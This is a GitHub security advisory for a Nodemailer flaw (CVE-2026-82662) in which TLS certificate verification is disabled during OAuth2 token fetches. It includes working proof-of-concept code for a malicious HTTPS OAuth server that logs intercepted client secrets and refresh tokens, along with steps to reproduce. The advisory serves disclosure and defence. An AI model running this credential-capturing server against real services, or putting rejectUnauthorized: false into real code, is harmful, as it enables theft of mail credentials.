GitHub Advisoryadvisory · npm

GHSA-r7g4-qg5f-qqm2 Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

HIGH Published 2026-06-15 Modified 2026-10-05 Official page ↗
Aliases
CVE-2026-82662
Ecosystem
npm
Packages
nodemailer
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Weaknesses
CWE-295
Reviewed
2026-06-15

Affected packages

• npm nodemailer: < 8.0.8 → fixed in 8.0.8

Description

Summary Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js. As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation. An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture: • OAuth client_secret • refresh_token • access tokens The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint. Details Root Cause The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests. Inside: `lib/fetch/index.js` the request options contain: `rejectUnauthorized: false` This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration. As a result: • self-signed certificates are trusted • invalid CA chains are accepted • hostname validation is bypassed • attacker-controlled HTTPS endpoints are treated as trusted This violates expected HTTPS security guarantees. Vulnerable Flow The vulnerable execution chain is: OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted PoC Environment Mail API (app/server.js) ``` const express = require("express"); const nodemailer = require("nodemailer"); require("dotenv").config(); const app = express(); app.use(express.json()); const transporter = nodemailer.createTransport({ host: process.env.SMTP_HOST, port: process.env.SMTP_PORT, secure: false, auth: { user: process.env.SMTP_USER, pass: process.env.SMTP_PASS } }); app.post("/send", async (req, res) => { try { const { to, subject, text, html } = req.body; const info = await transporter.sendMail({ from: `"Mailer" `, to, subject, text, html }); res.json({ success: true, messageId: info.messageId }); } catch (err) { console.error(err); res.status(500).json({ success: false, error: err.message }); } }); app.listen(process.env.PORT, () => { console.log(`Mailer running on port ${process.env.PORT}`); }); ``` Malicious HTTPS OAuth Server (poc/evil-oauth.js) ``` const https = require('https'); const fs = require('fs'); https.createServer({ key: fs.readFileSync('./key.pem'), cert: fs.readFileSync('./cert.pem') }, (req, res) => { console.log('\n==== REQUEST INTERCEPTED ===='); console.log(req.method, req.url); let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { console.log('\nPOST BODY:'); console.log(body); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ access_token: 'attacker_token', expires_in: 3600 })); }); }).listen(8443, () => { console.log('Malicious HTTPS OAuth server listening on 8443'); }); ``` Nodemailer OAuth2 Test (test.js) ``` const nodemailer = require('./'); const transporter = nodemailer.createTransport({ service: 'gmail', auth: { type: 'OAuth2', user: '[email protected]', clientId: 'CLIENT_ID_REDACTED', clientSecret: 'CLIENT_SECRET_REDACTED', refreshToken: 'REFRESH_TOKEN_REDACTED', accessUrl: 'https://localhost:8443/token' } }); transporter.sendMail({ from: '[email protected]', to: '[email protected]', subject: 'PoC', text: 'test' }, (err, info) => { console.log('\n==== NODEMAILER RESULT ===='); if (err) { console.error(err); } else { console.log(info); } }); ``` Steps to Reproduce • Start malicious HTTPS OAuth server: • node poc/evil-oauth.js • Run Nodemailer OAuth2 test: • node test.js • Observe intercepted OAuth2 request body on the malicious HTTPS server. PIC Impact • OAuth credential theft • unauthorized email access • persistent token abuse • unauthorized mail sending • mailbox compromise • interception/tampering of OAuth responses The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Related

Alias · CVE (1)

  • CVE-2026-82662 Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers… vulnerability

Weakness · CWE (1)

  • CWE-295 Improper Certificate Validation weakness

References